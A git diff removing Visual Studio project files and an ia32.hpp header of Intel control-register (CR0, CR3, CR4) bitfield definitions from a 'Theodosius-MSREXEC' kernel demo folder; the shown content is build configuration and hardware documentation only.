{A9959D7F-E405-4380-A1B4-4CE8DD929397}.Debug|x86.ActiveCfg = Debug|x64 - {A9959D7F-E405-4380-A1B4-4CE8DD929397}.Release|x64.ActiveCfg = Release|x64 - {A9959D7F-E405-4380-A1B4-4CE8DD929397}.Release|x64.Build.0 = Release|x64 - {A9959D7F-E405-4380-A1B4-4CE8DD929397}.Release|x86.ActiveCfg = Release|x64 - {B3A57EE2-364D-42FA-A827-33F43136B549}.Debug|x64.ActiveCfg = Debug|x64 - {B3A57EE2-364D-42FA-A827-33F43136B549}.Debug|x64.Build.0 = Debug|x64 - {B3A57EE2-364D-42FA-A827-33F43136B549}.Debug|x86.ActiveCfg = Debug|x64 - {B3A57EE2-364D-42FA-A827-33F43136B549}.Release|x64.ActiveCfg = Release|x64 - {B3A57EE2-364D-42FA-A827-33F43136B549}.Release|x64.Build.0 = Release|x64 - {B3A57EE2-364D-42FA-A827-33F43136B549}.Release|x86.ActiveCfg = Release|x64 - {0043C2E6-7080-4363-BD50-298A4C51562F}.Debug|x64.ActiveCfg = Debug|x64 - {0043C2E6-7080-4363-BD50-298A4C51562F}.Debug|x64.Build.0 = Debug|x64 - {0043C2E6-7080-4363-BD50-298A4C51562F}.Debug|x86.ActiveCfg = Debug|x64 - {0043C2E6-7080-4363-BD50-298A4C51562F}.Release|x64.ActiveCfg = Release|x64 - {0043C2E6-7080-4363-BD50-298A4C51562F}.Release|x64.Build.0 = Release|x64 - {0043C2E6-7080-4363-BD50-298A4C51562F}.Release|x86.ActiveCfg = Release|x64 - {BE437FEC-EA25-4E93-9B73-A028F9DD698F}.Debug|x64.ActiveCfg = Debug|x64 - {BE437FEC-EA25-4E93-9B73-A028F9DD698F}.Debug|x64.Build.0 = Debug|x64 - {BE437FEC-EA25-4E93-9B73-A028F9DD698F}.Debug|x86.ActiveCfg = Debug|x64 - {BE437FEC-EA25-4E93-9B73-A028F9DD698F}.Release|x64.ActiveCfg = Release|x64 - {BE437FEC-EA25-4E93-9B73-A028F9DD698F}.Release|x64.Build.0 = Release|x64 - {BE437FEC-EA25-4E93-9B73-A028F9DD698F}.Release|x86.ActiveCfg = Release|x64 - {9F316E83-5AE5-4939-A723-305A94F48005}.Debug|x64.ActiveCfg = Release|x64 - {9F316E83-5AE5-4939-A723-305A94F48005}.Debug|x64.Build.0 = Release|x64 - {9F316E83-5AE5-4939-A723-305A94F48005}.Debug|x86.ActiveCfg = Release|x64 - {9F316E83-5AE5-4939-A723-305A94F48005}.Debug|x86.Build.0 = Release|x64 - {9F316E83-5AE5-4939-A723-305A94F48005}.Release|x64.ActiveCfg = Release|x64 - {9F316E83-5AE5-4939-A723-305A94F48005}.Release|x64.Build.0 = Release|x64 - {9F316E83-5AE5-4939-A723-305A94F48005}.Release|x86.ActiveCfg = Release|x64 - {B047B17D-DFF0-4D85-BFB1-E6EAB444670A}.Debug|x64.ActiveCfg = Debug|x64 - {B047B17D-DFF0-4D85-BFB1-E6EAB444670A}.Debug|x64.Build.0 = Debug|x64 - {B047B17D-DFF0-4D85-BFB1-E6EAB444670A}.Debug|x86.ActiveCfg = Debug|Win32 - {B047B17D-DFF0-4D85-BFB1-E6EAB444670A}.Debug|x86.Build.0 = Debug|Win32 - {B047B17D-DFF0-4D85-BFB1-E6EAB444670A}.Release|x64.ActiveCfg = Release|x64 - {B047B17D-DFF0-4D85-BFB1-E6EAB444670A}.Release|x64.Build.0 = Release|x64 - {B047B17D-DFF0-4D85-BFB1-E6EAB444670A}.Release|x86.ActiveCfg = Release|Win32 - {B047B17D-DFF0-4D85-BFB1-E6EAB444670A}.Release|x86.Build.0 = Release|Win32 - {490558CD-7FD5-4E6B-AF9A-334EEFA86ECD}.Debug|x64.ActiveCfg = Debug|x64 - {490558CD-7FD5-4E6B-AF9A-334EEFA86ECD}.Debug|x64.Build.0 = Debug|x64 - {490558CD-7FD5-4E6B-AF9A-334EEFA86ECD}.Debug|x86.ActiveCfg = Debug|Win32 - {490558CD-7FD5-4E6B-AF9A-334EEFA86ECD}.Debug|x86.Build.0 = Debug|Win32 - {490558CD-7FD5-4E6B-AF9A-334EEFA86ECD}.Release|x64.ActiveCfg = Release|x64 - {490558CD-7FD5-4E6B-AF9A-334EEFA86ECD}.Release|x64.Build.0 = Release|x64 - {490558CD-7FD5-4E6B-AF9A-334EEFA86ECD}.Release|x86.ActiveCfg = Release|Win32 - {490558CD-7FD5-4E6B-AF9A-334EEFA86ECD}.Release|x86.Build.0 = Release|Win32 - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection - GlobalSection(ExtensibilityGlobals) = postSolution - SolutionGuid = {4E9E0E63-4158-4F7F-A1A9-B81A0C57E1D1} - EndGlobalSection -EndGlobal diff --git a/demos/Theodosius-Kernel/Theodosius-MSREXEC/Theodosius-MSREXEC.vcxproj b/demos/Theodosius-Kernel/Theodosius-MSREXEC/Theodosius-MSREXEC.vcxproj deleted file mode 100644 index 85b3fad..0000000 --- a/demos/Theodosius-Kernel/Theodosius-MSREXEC/Theodosius-MSREXEC.vcxproj +++ /dev/null @@ -1,111 +0,0 @@ - - - - - Debug - x64 - - - Release - x64 - - - - 16.0 - Win32Proj - {0043C2E6-7080-4363-BD50-298A4C51562F} - Theodosius - 10.0 - - - - Application - true - v142 - Unicode - - - Application - false - v142 - true - Unicode - - - - - - - - - - - - - - - - true - $(ProjectDir);$(IncludePath) - - - false - $(ProjectDir);$(IncludePath) - - - - Level3 - true - _DEBUG;_CONSOLE;%(PreprocessorDefinitions);ZYAN_NO_LIBC;ZYDIS_NO_LIBC;ZYCORE_STATIC_DEFINE;ZYDIS_STATIC_DEFINE;_CRT_SECURE_NO_WARNINGS - true - stdcpp17 - - - Console - true - $(ProjectDir)libs\Theodosius.lib;%(AdditionalDependencies) - - - - - Level3 - true - true - true - NDEBUG;_CONSOLE;%(PreprocessorDefinitions);ZYAN_NO_LIBC;ZYDIS_NO_LIBC;ZYCORE_STATIC_DEFINE;ZYDIS_STATIC_DEFINE;_CRT_SECURE_NO_WARNINGS - true - stdcpp17 - - - Console - true - true - true - $(ProjectDir)libs\Theodosius.lib;%(AdditionalDependencies) - - - - - - - - - - - - - - - - - - - - Document - - - - - - - \ No newline at end of file diff --git a/demos/Theodosius-Kernel/Theodosius-MSREXEC/Theodosius-MSREXEC.vcxproj.filters b/demos/Theodosius-Kernel/Theodosius-MSREXEC/Theodosius-MSREXEC.vcxproj.filters deleted file mode 100644 index 4fab4c6..0000000 --- a/demos/Theodosius-Kernel/Theodosius-MSREXEC/Theodosius-MSREXEC.vcxproj.filters +++ /dev/null @@ -1,55 +0,0 @@ - - - - - {4FC737F1-C7A5-4376-A066-2A32D752A2FF} - cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx - - - {93995380-89BD-4b04-88EB-625FBE52EBFB} - h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd - - - - - Source Files - - - Source Files - - - - - Header Files - - - Header Files - - - Header Files - - - Header Files - - - Header Files - - - Header Files - - - Header Files - - - Header Files - - - Header Files - - - - - Source Files - - - \ No newline at end of file diff --git a/demos/Theodosius-Kernel/Theodosius-MSREXEC/Theodosius-MSREXEC.vcxproj.user b/demos/Theodosius-Kernel/Theodosius-MSREXEC/Theodosius-MSREXEC.vcxproj.user deleted file mode 100644 index e9f3ec8..0000000 --- a/demos/Theodosius-Kernel/Theodosius-MSREXEC/Theodosius-MSREXEC.vcxproj.user +++ /dev/null @@ -1,13 +0,0 @@ - - - - - - WindowsLocalDebugger - - - - - WindowsLocalDebugger - - \ No newline at end of file diff --git a/demos/Theodosius-Kernel/Theodosius-MSREXEC/ia32.hpp b/demos/Theodosius-Kernel/Theodosius-MSREXEC/ia32.hpp deleted file mode 100644 index dd65439..0000000 --- a/demos/Theodosius-Kernel/Theodosius-MSREXEC/ia32.hpp +++ /dev/null @@ -1,21527 +0,0 @@ -/** @file */ -#pragma once -using uint8_t = unsigned char; -using uint16_t = unsigned short; -using uint32_t = unsigned int; -using uint64_t = unsigned long long; - -/** - * @defgroup intel_manual \ - * Intel Manual - * - * @remarks All references are based on Intel(R) 64 and IA-32 architectures software developer's manual combined volumes: - * 1, 2A, 2B, 2C, 2D, 3A, 3B, 3C, 3D, and 4 (May 2018). - * @{ - */ - /** - * @defgroup control_registers \ - * Control registers - * - * Control registers (CR0, CR1, CR2, CR3, and CR4) determine operating mode of the processor and the characteristics of the - * currently executing task. These registers are 32 bits in all 32-bit modes and compatibility mode. - * In 64-bit mode, control registers are expanded to 64 bits. The MOV CRn instructions are used to manipulate the register - * bits. Operand-size prefixes for these instructions are ignored. The following is also true: - * - The control registers can be read and loaded (or modified) using the move-to-or-from-control-registers forms of the - * MOV instruction. In protected mode, the MOV instructions allow the control registers to be read or loaded (at privilege - * level 0 only). This restriction means that application programs or operating-system procedures (running at privilege - * levels 1, 2, or 3) are prevented from reading or loading the control registers. - * - Bits 63:32 of CR0 and CR4 are reserved and must be written with zeros. Writing a nonzero value to any of the upper 32 - * bits results in a general-protection exception, \#GP(0). - * - All 64 bits of CR2 are writable by software. - * - Bits 51:40 of CR3 are reserved and must be 0. - * - The MOV CRn instructions do not check that addresses written to CR2 and CR3 are within the linear-address or - * physical-address limitations of the implementation. - * - Register CR8 is available in 64-bit mode only. The control registers are summarized below, and each architecturally - * defined control field in these control registers is described individually. - * - CR0 - Contains system control flags that control operating mode and states of the processor. - * - CR1 - Reserved. - * - CR2 - Contains the page-fault linear address (the linear address that caused a page fault). - * - CR3 - Contains the physical address of the base of the paging-structure hierarchy and two flags (PCD and PWT). Only - * the most-significant bits (less the lower 12 bits) of the base address are specified; the lower 12 bits of the address - * are assumed to be 0. The first paging structure must thus be aligned to a page (4-KByte) boundary. The PCD and PWT flags - * control caching of that paging structure in the processor's internal data caches (they do not control TLB caching of - * page-directory information). When using the physical address extension, the CR3 register contains the base address of - * the page-directorypointer table. In IA-32e mode, the CR3 register contains the base address of the PML4 table. - * - CR4 - Contains a group of flags that enable several architectural extensions, and indicate operating system or - * executive support for specific processor capabilities. - * - CR8 - Provides read and write access to the Task Priority Register (TPR). It specifies the priority threshold value - * that operating systems use to control the priority class of external interrupts allowed to interrupt the processor. This - * register is available only in 64-bit mode. However, interrupt filtering continues to apply in compatibility mode. - * - * @see Vol3A[2.5(CONTROL REGISTERS)] (reference) - * @{ - */ -typedef union -{ - struct - { - /** - * @brief Protection Enable - * - * [Bit 0] Enables protected mode when set; enables real-address mode when clear. This flag does not enable paging - * directly. It only enables segment-level protection. To enable paging, both the PE and PG flags must be set. - * - * @see Vol3A[9.9(Mode Switching)] - */ - uint64_t protection_enable : 1; -#define CR0_PROTECTION_ENABLE_BIT 0 -#define CR0_PROTECTION_ENABLE_FLAG 0x01 -#define CR0_PROTECTION_ENABLE_MASK 0x01 -#define CR0_PROTECTION_ENABLE(_) (((_) >> 0) & 0x01) - - /** - * @brief Monitor Coprocessor - * - * [Bit 1] Controls the interaction of the WAIT (or FWAIT) instruction with the TS flag (bit 3 of CR0). If the MP flag is - * set, a WAIT instruction generates a device-not-available exception (\#NM) if the TS flag is also set. If the MP flag is - * clear, the WAIT instruction ignores the setting of the TS flag. - */ - uint64_t monitor_coprocessor : 1; -#define CR0_MONITOR_COPROCESSOR_BIT 1 -#define CR0_MONITOR_COPROCESSOR_FLAG 0x02 -#define CR0_MONITOR_COPROCESSOR_MASK 0x01 -#define CR0_MONITOR_COPROCESSOR(_) (((_) >> 1) & 0x01) - - /** - * @brief FPU Emulation - * - * [Bit 2] Indicates that the processor does not have an internal or external x87 FPU when set; indicates an x87 FPU is - * present when clear. This flag also affects the execution of MMX/SSE/SSE2/SSE3/SSSE3/SSE4 instructions. - * When the EM flag is set, execution of an x87 FPU instruction generates a device-not-available exception (\#NM). This - * flag must be set when the processor does not have an internal x87 FPU or is not connected to an external math - * coprocessor. Setting this flag forces all floating-point instructions to be handled by software emulation. - * Also, when the EM flag is set, execution of an MMX instruction causes an invalid-opcode exception (\#UD) to be - * generated. Thus, if an IA-32 or Intel 64 processor incorporates MMX technology, the EM flag must be set to 0 to enable - * execution of MMX instructions. Similarly for SSE/SSE2/SSE3/SSSE3/SSE4 extensions, when the EM flag is set, execution of - * most SSE/SSE2/SSE3/SSSE3/SSE4 instructions causes an invalid opcode exception (\#UD) to be generated. If an IA-32 or - * Intel 64 processor incorporates the SSE/SSE2/SSE3/SSSE3/SSE4 extensions, the EM flag must be set to 0 to enable - * execution of these extensions. SSE/SSE2/SSE3/SSSE3/SSE4 instructions not affected by the EM flag include: PAUSE, - * PREFETCHh, SFENCE, LFENCE, MFENCE, MOVNTI, CLFLUSH, CRC32, and POPCNT. - */ - uint64_t emulate_fpu : 1; -#define CR0_EMULATE_FPU_BIT 2 -#define CR0_EMULATE_FPU_FLAG 0x04 -#define CR0_EMULATE_FPU_MASK 0x01 -#define CR0_EMULATE_FPU(_) (((_) >> 2) & 0x01) - - /** - * @brief Task Switched - * - * [Bit 3] Allows the saving of the x87 FPU/MMX/SSE/SSE2/SSE3/SSSE3/SSE4 context on a task switch to be delayed until an - * x87 FPU/MMX/SSE/SSE2/SSE3/SSSE3/SSE4 instruction is actually executed by the new task. The processor sets this flag on - * every task switch and tests it when executing x87 FPU/MMX/SSE/SSE2/SSE3/SSSE3/SSE4 instructions. - * - If the TS flag is set and the EM flag (bit 2 of CR0) is clear, a device-not-available exception (\#NM) is raised prior - * to the execution of any x87 FPU/MMX/SSE/SSE2/SSE3/SSSE3/SSE4 instruction; with the exception of PAUSE, PREFETCHh, - * SFENCE, LFENCE, MFENCE, MOVNTI, CLFLUSH, CRC32, and POPCNT. - * - If the TS flag is set and the MP flag (bit 1 of CR0) and EM flag are clear, an \#NM exception is not raised prior to - * the execution of an x87 FPU WAIT/FWAIT instruction. - * - If the EM flag is set, the setting of the TS flag has no effect on the execution of x87 - * FPU/MMX/SSE/SSE2/SSE3/SSSE3/SSE4 instructions. - * The processor does not automatically save the context of the x87 FPU, XMM, and MXCSR registers on a task switch. - * Instead, it sets the TS flag, which causes the processor to raise an \#NM exception whenever it encounters an x87 - * FPU/MMX/SSE/SSE2/SSE3/SSSE3/SSE4 instruction in the instruction stream for the new task (with the exception of the - * instructions listed above). - * The fault handler for the \#NM exception can then be used to clear the TS flag (with the CLTS instruction) and save - * the context of the x87 FPU, XMM, and MXCSR registers. If the task never encounters an x87 - * FPU/MMX/SSE/SSE2/SSE3/SSSE3/SSE4 instruction, the x87 FPU/MMX/SSE/SSE2/SSE3/SSSE3/SSE4 context is never saved. - */ - uint64_t task_switched : 1; -#define CR0_TASK_SWITCHED_BIT 3 -#define CR0_TASK_SWITCHED_FLAG 0x08 -#define CR0_TASK_SWITCHED_MASK 0x01 -#define CR0_TASK_SWITCHED(_) (((_) >> 3) & 0x01) - - /** - * @brief Extension Type - * - * [Bit 4] Reserved in the Pentium 4, Intel Xeon, P6 family, and Pentium processors. In the Pentium 4, Intel Xeon, and P6 - * family processors, this flag is hardcoded to 1. In the Intel386 and Intel486 processors, this flag indicates support of - * Intel 387 DX math coprocessor instructions when set. - */ - uint64_t extension_type : 1; -#define CR0_EXTENSION_TYPE_BIT 4 -#define CR0_EXTENSION_TYPE_FLAG 0x10 -#define CR0_EXTENSION_TYPE_MASK 0x01 -#define CR0_EXTENSION_TYPE(_) (((_) >> 4) & 0x01) - - /** - * @brief Numeric Error - * - * [Bit 5] Enables the native (internal) mechanism for reporting x87 FPU errors when set; enables the PC-style x87 FPU - * error reporting mechanism when clear. When the NE flag is clear and the IGNNE\# input is asserted, x87 FPU errors are - * ignored. When the NE flag is clear and the IGNNE\# input is deasserted, an unmasked x87 FPU error causes the processor - * to assert the FERR\# pin to generate an external interrupt and to stop instruction execution immediately before - * executing the next waiting floating-point instruction or WAIT/FWAIT instruction. - * The FERR\# pin is intended to drive an input to an external interrupt controller (the FERR\# pin emulates the ERROR\# - * pin of the Intel 287 and Intel 387 DX math coprocessors). The NE flag, IGNNE\# pin, and FERR\# pin are used with - * external logic to implement PC-style error reporting. Using FERR\# and IGNNE\# to handle floating-point exceptions is - * deprecated by modern operating systems; this non-native approach also limits newer processors to operate with one - * logical processor active. - * - * @see Vol1[8.7(Handling x87 FPU Exceptions in Software)] - * @see Vol1[A.1(APPENDIX A | EFLAGS Cross-Reference)] - */ - uint64_t numeric_error : 1; -#define CR0_NUMERIC_ERROR_BIT 5 -#define CR0_NUMERIC_ERROR_FLAG 0x20 -#define CR0_NUMERIC_ERROR_MASK 0x01 -#define CR0_NUMERIC_ERROR(_) (((_) >> 5) & 0x01) - uint64_t reserved1 : 10; - - /** - * @brief Write Protect - * - * [Bit 16] When set, inhibits supervisor-level procedures from writing into readonly pages; when clear, allows - * supervisor-level procedures to write into read-only pages (regardless of the U/S bit setting). This flag facilitates - * implementation of the copy-onwrite method of creating a new process (forking) used by operating systems such as UNIX. - * - * @see Vol3A[4.1.3(Paging-Mode Modifiers)] - * @see Vol3A[4.6(ACCESS RIGHTS)] - */ - uint64_t write_protect : 1; -#define CR0_WRITE_PROTECT_BIT 16 -#define CR0_WRITE_PROTECT_FLAG 0x10000 -#define CR0_WRITE_PROTECT_MASK 0x01 -#define CR0_WRITE_PROTECT(_) (((_) >> 16) & 0x01) - uint64_t reserved2 : 1; - - /** - * @brief Alignment Mask - * - * [Bit 18] Enables automatic alignment checking when set; disables alignment checking when clear. Alignment checking is - * performed only when the AM flag is set, the AC flag in the EFLAGS register is set, CPL is 3, and the processor is - * operating in either protected or virtual-8086 mode. - */ - uint64_t alignment_mask : 1; -#define CR0_ALIGNMENT_MASK_BIT 18 -#define CR0_ALIGNMENT_MASK_FLAG 0x40000 -#define CR0_ALIGNMENT_MASK_MASK 0x01 -#define CR0_ALIGNMENT_MASK(_) (((_) >> 18) & 0x01) - uint64_t reserved3 : 10; - - /** - * @brief Not Write-through - * - * [Bit 29] When the NW and CD flags are clear, write-back (for Pentium 4, Intel Xeon, P6 family, and Pentium processors) - * or write-through (for Intel486 processors) is enabled for writes that hit the cache and invalidation cycles are enabled. - */ - uint64_t not_write_through : 1; -#define CR0_NOT_WRITE_THROUGH_BIT 29 -#define CR0_NOT_WRITE_THROUGH_FLAG 0x20000000 -#define CR0_NOT_WRITE_THROUGH_MASK 0x01 -#define CR0_NOT_WRITE_THROUGH(_) (((_) >> 29) & 0x01) - - /** - * @brief Cache Disable - * - * [Bit 30] When the CD and NW flags are clear, caching of memory locations for the whole of physical memory in the - * processor's internal (and external) caches is enabled. When the CD flag is set, caching is restricted. To prevent the - * processor from accessing and updating its caches, the CD flag must be set and the caches must be invalidated so that no - * cache hits can occur. - * - * @see Vol3A[11.5.3(Preventing Caching)] - * @see Vol3A[11.5(CACHE CONTROL)] - */ - uint64_t cache_disable : 1; -#define CR0_CACHE_DISABLE_BIT 30 -#define CR0_CACHE_DISABLE_FLAG 0x40000000 -#define CR0_CACHE_DISABLE_MASK 0x01 -#define CR0_CACHE_DISABLE(_) (((_) >> 30) & 0x01) - - /** - * @brief Paging Enable - * - * [Bit 31] Enables paging when set; disables paging when clear. When paging is disabled, all linear addresses are treated - * as physical addresses. The PG flag has no effect if the PE flag (bit 0 of register CR0) is not also set; setting the PG - * flag when the PE flag is clear causes a general-protection exception (\#GP). - * On Intel 64 processors, enabling and disabling IA-32e mode operation also requires modifying CR0.PG. - * - * @see Vol3A[4(PAGING)] - */ - uint64_t paging_enable : 1; -#define CR0_PAGING_ENABLE_BIT 31 -#define CR0_PAGING_ENABLE_FLAG 0x80000000 -#define CR0_PAGING_ENABLE_MASK 0x01 -#define CR0_PAGING_ENABLE(_) (((_) >> 31) & 0x01) - uint64_t reserved4 : 32; - }; - - uint64_t flags; -} cr0; - -typedef union -{ - struct - { - uint64_t reserved1 : 3; - - /** - * @brief Page-level Write-Through - * - * [Bit 3] Controls the memory type used to access the first paging structure of the current paging-structure hierarchy. - * This bit is not used if paging is disabled, with PAE paging, or with 4-level paging if CR4.PCIDE=1. - * - * @see Vol3A[4.9(PAGING AND MEMORY TYPING)] - */ - uint64_t page_level_write_through : 1; -#define CR3_PAGE_LEVEL_WRITE_THROUGH_BIT 3 -#define CR3_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 -#define CR3_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 -#define CR3_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) - - /** - * @brief Page-level Cache Disable - * - * [Bit 4] Controls the memory type used to access the first paging structure of the current paging-structure hierarchy. - * This bit is not used if paging is disabled, with PAE paging, or with 4-level paging2 if CR4.PCIDE=1. - * - * @see Vol3A[4.9(PAGING AND MEMORY TYPING)] - */ - uint64_t page_level_cache_disable : 1; -#define CR3_PAGE_LEVEL_CACHE_DISABLE_BIT 4 -#define CR3_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 -#define CR3_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 -#define CR3_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) - uint64_t reserved2 : 7; - - /** - * @brief Address of page directory - * - * [Bits 47:12] Physical address of the 4-KByte aligned page directory (32-bit paging) or PML4 table (64-bit paging) used - * for linear-address translation. - * - * @see Vol3A[4.3(32-BIT PAGING)] - * @see Vol3A[4.5(4-LEVEL PAGING)] - */ - uint64_t address_of_page_directory : 36; -#define CR3_ADDRESS_OF_PAGE_DIRECTORY_BIT 12 -#define CR3_ADDRESS_OF_PAGE_DIRECTORY_FLAG 0xFFFFFFFFF000 -#define CR3_ADDRESS_OF_PAGE_DIRECTORY_MASK 0xFFFFFFFFF -#define CR3_ADDRESS_OF_PAGE_DIRECTORY(_) (((_) >> 12) & 0xFFFFFFFFF) - uint64_t reserved3 : 16; - }; - - uint64_t flags; -} cr3; - -typedef union -{ - struct - { - /** - * @brief Virtual-8086 Mode Extensions - * - * [Bit 0] Enables interrupt- and exception-handling extensions in virtual-8086 mode when set; disables the extensions when - * clear. Use of the virtual mode extensions can improve the performance of virtual-8086 applications by eliminating the - * overhead of calling the virtual- 8086 monitor to handle interrupts and exceptions that occur while executing an 8086 - * program and, instead, redirecting the interrupts and exceptions back to the 8086 program's handlers. It also provides - * hardware support for a virtual interrupt flag (VIF) to improve reliability of running 8086 programs in multitasking and - * multiple-processor environments. - * - * @see Vol3B[20.3(INTERRUPT AND EXCEPTION HANDLING IN VIRTUAL-8086 MODE)] - */ - uint64_t virtual_mode_extensions : 1; -#define CR4_VIRTUAL_MODE_EXTENSIONS_BIT 0 -#define CR4_VIRTUAL_MODE_EXTENSIONS_FLAG 0x01 -#define CR4_VIRTUAL_MODE_EXTENSIONS_MASK 0x01 -#define CR4_VIRTUAL_MODE_EXTENSIONS(_) (((_) >> 0) & 0x01) - - /** - * @brief Protected-Mode Virtual Interrupts - * - * [Bit 1] Enables hardware support for a virtual interrupt flag (VIF) in protected mode when set; disables the VIF flag in - * protected mode when clear. - * - * @see Vol3B[20.4(PROTECTED-MODE VIRTUAL INTERRUPTS)] - */ - uint64_t protected_mode_virtual_interrupts : 1; -#define CR4_PROTECTED_MODE_VIRTUAL_INTERRUPTS_BIT 1 -#define CR4_PROTECTED_MODE_VIRTUAL_INTERRUPTS_FLAG 0x02 -#define CR4_PROTECTED_MODE_VIRTUAL_INTERRUPTS_MASK 0x01 -#define CR4_PROTECTED_MODE_VIRTUAL_INTERRUPTS(_) (((_) >> 1) & 0x01) - - /** - * @brief Time Stamp Disable - * - * [Bit 2] Restricts the execution of the RDTSC instruction to procedures running at privilege level 0 when set; allows - * RDTSC instruction to be executed at any privilege level when clear. This bit also applies to the RDTSCP instruction if - * supported (if CPUID.80000001H:EDX[27] = 1). - */ - uint64_t timestamp_disable : 1; -#define CR4_TIMESTAMP_DISABLE_BIT 2 -#define CR4_TIMESTAMP_DISABLE_FLAG 0x04 -#define CR4_TIMESTAMP_DISABLE_MASK 0x01 -#define CR4_TIMESTAMP_DISABLE(_) (((_) >> 2) & 0x01) - - /** - * @brief Debugging Extensions - * - * [Bit 3] References to debug registers DR4 and DR5 cause an undefined opcode (\#UD) exception to be generated when set; - * when clear, processor aliases references to registers DR4 and DR5 for compatibility with software written to run on - * earlier IA-32 processors. - * - * @see Vol3B[17.2.2(Debug Registers DR4 and DR5)] - */ - uint64_t debugging_extensions : 1; -#define CR4_DEBUGGING_EXTENSIONS_BIT 3 -#define CR4_DEBUGGING_EXTENSIONS_FLAG 0x08 -#define CR4_DEBUGGING_EXTENSIONS_MASK 0x01 -#define CR4_DEBUGGING_EXTENSIONS(_) (((_) >> 3) & 0x01) - - /** - * @brief Page Size Extensions - * - * [Bit 4] Enables 4-MByte pages with 32-bit paging when set; restricts 32-bit paging to pages of 4 KBytes when clear. - * - * @see Vol3A[4.3(32-BIT PAGING)] - */ - uint64_t page_size_extensions : 1; -#define CR4_PAGE_SIZE_EXTENSIONS_BIT 4 -#define CR4_PAGE_SIZE_EXTENSIONS_FLAG 0x10 -#define CR4_PAGE_SIZE_EXTENSIONS_MASK 0x01 -#define CR4_PAGE_SIZE_EXTENSIONS(_) (((_) >> 4) & 0x01) - - /** - * @brief Physical Address Extension - * - * [Bit 5] When set, enables paging to produce physical addresses with more than 32 bits. When clear, restricts physical - * addresses to 32 bits. PAE must be set before entering IA-32e mode. - * - * @see Vol3A[4(PAGING)] - */ - uint64_t physical_address_extension : 1; -#define CR4_PHYSICAL_ADDRESS_EXTENSION_BIT 5 -#define CR4_PHYSICAL_ADDRESS_EXTENSION_FLAG 0x20 -#define CR4_PHYSICAL_ADDRESS_EXTENSION_MASK 0x01 -#define CR4_PHYSICAL_ADDRESS_EXTENSION(_) (((_) >> 5) & 0x01) - - /** - * @brief Machine-Check Enable - * - * [Bit 6] Enables the machine-check exception when set; disables the machine-check exception when clear. - * - * @see Vol3B[15(MACHINE-CHECK ARCHITECTURE)] - */ - uint64_t machine_check_enable : 1; -#define CR4_MACHINE_CHECK_ENABLE_BIT 6 -#define CR4_MACHINE_CHECK_ENABLE_FLAG 0x40 -#define CR4_MACHINE_CHECK_ENABLE_MASK 0x01 -#define CR4_MACHINE_CHECK_ENABLE(_) (((_) >> 6) & 0x01) - - /** - * @brief Page Global Enable - * - * [Bit 7] (Introduced in the P6 family processors.) Enables the global page feature when set; disables the global page - * feature when clear. The global page feature allows frequently used or shared pages to be marked as global to all users - * (done with the global flag, bit 8, in a page-directory or page-table entry). Global pages are not flushed from the - * translation-lookaside buffer (TLB) on a task switch or a write to register CR3. When enabling the global page feature, - * paging must be enabled (by setting the PG flag in control register CR0) before the PGE flag is set. Reversing this - * sequence may affect program correctness, and processor performance will be impacted. - * - * @see Vol3A[4.10(CACHING TRANSLATION INFORMATION)] - */ - uint64_t page_global_enable : 1; -#define CR4_PAGE_GLOBAL_ENABLE_BIT 7 -#define CR4_PAGE_GLOBAL_ENABLE_FLAG 0x80 -#define CR4_PAGE_GLOBAL_ENABLE_MASK 0x01 -#define CR4_PAGE_GLOBAL_ENABLE(_) (((_) >> 7) & 0x01) - - /** - * @brief Performance-Monitoring Counter Enable - * - * [Bit 8] Enables execution of the RDPMC instruction for programs or procedures running at any protection level when set; - * RDPMC instruction can be executed only at protection level 0 when clear. - */ - uint64_t performance_monitoring_counter_enable : 1; -#define CR4_PERFORMANCE_MONITORING_COUNTER_ENABLE_BIT 8 -#define CR4_PERFORMANCE_MONITORING_COUNTER_ENABLE_FLAG 0x100 -#define CR4_PERFORMANCE_MONITORING_COUNTER_ENABLE_MASK 0x01 -#define CR4_PERFORMANCE_MONITORING_COUNTER_ENABLE(_) (((_) >> 8) & 0x01) - - /** - * @brief Operating System Support for FXSAVE and FXRSTOR instructions - * - * [Bit 9] When set, this flag: - * -# indicates to software that the operating system supports the use of the FXSAVE and FXRSTOR instructions, - * -# enables the FXSAVE and FXRSTOR instructions to save and restore the contents of the XMM and MXCSR registers along - * with the contents of the x87 FPU and MMX registers, and - * -# enables the processor to execute SSE/SSE2/SSE3/SSSE3/SSE4 instructions, with the exception of the PAUSE, PREFETCHh, - * SFENCE, LFENCE, MFENCE, MOVNTI, CLFLUSH, CRC32, and POPCNT. - * If this flag is clear, the FXSAVE and FXRSTOR instructions will save and restore the contents of the x87 FPU and MMX - * registers, but they may not save and restore the contents of the XMM and MXCSR registers. Also, the processor will - * generate an invalid opcode exception (\#UD) if it attempts to execute any SSE/SSE2/SSE3 instruction, with the exception - * of PAUSE, PREFETCHh, SFENCE, LFENCE, MFENCE, MOVNTI, CLFLUSH, CRC32, and POPCNT. The operating system or executive must - * explicitly set this flag. - * - * @remarks CPUID feature flag FXSR indicates availability of the FXSAVE/FXRSTOR instructions. The OSFXSR bit provides - * operating system software with a means of enabling FXSAVE/FXRSTOR to save/restore the contents of the X87 FPU, XMM and - * MXCSR registers. Consequently OSFXSR bit indicates that the operating system provides context switch support for - * SSE/SSE2/SSE3/SSSE3/SSE4. - */ - uint64_t os_fxsave_fxrstor_support : 1; -#define CR4_OS_FXSAVE_FXRSTOR_SUPPORT_BIT 9 -#define CR4_OS_FXSAVE_FXRSTOR_SUPPORT_FLAG 0x200 -#define CR4_OS_FXSAVE_FXRSTOR_SUPPORT_MASK 0x01 -#define CR4_OS_FXSAVE_FXRSTOR_SUPPORT(_) (((_) >> 9) & 0x01) - - /** - * @brief Operating System Support for Unmasked SIMD Floating-Point Exceptions - * - * [Bit 10] Operating System Support for Unmasked SIMD Floating-Point Exceptions - When set, indicates that the operating - * system supports the handling of unmasked SIMD floating-point exceptions through an exception handler that is invoked - * when a SIMD floating-point exception (\#XM) is generated. SIMD floating-point exceptions are only generated by - * SSE/SSE2/SSE3/SSE4.1 SIMD floatingpoint instructions. - * The operating system or executive must explicitly set this flag. 